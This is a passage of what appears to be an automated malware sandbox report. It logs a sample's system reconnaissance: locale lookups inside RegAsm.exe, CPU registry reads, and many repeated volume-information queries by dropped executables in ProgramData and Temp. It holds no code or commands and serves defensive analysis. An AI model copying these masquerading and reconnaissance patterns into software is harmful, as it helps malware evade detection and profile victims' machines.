Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo, 3_2_00428D94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA, 3_2_0042B5B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoA, 3_2_0042E674
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Queries volume information: C:\ProgramData\KKEBKJJDGH.exe VolumeInformation Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
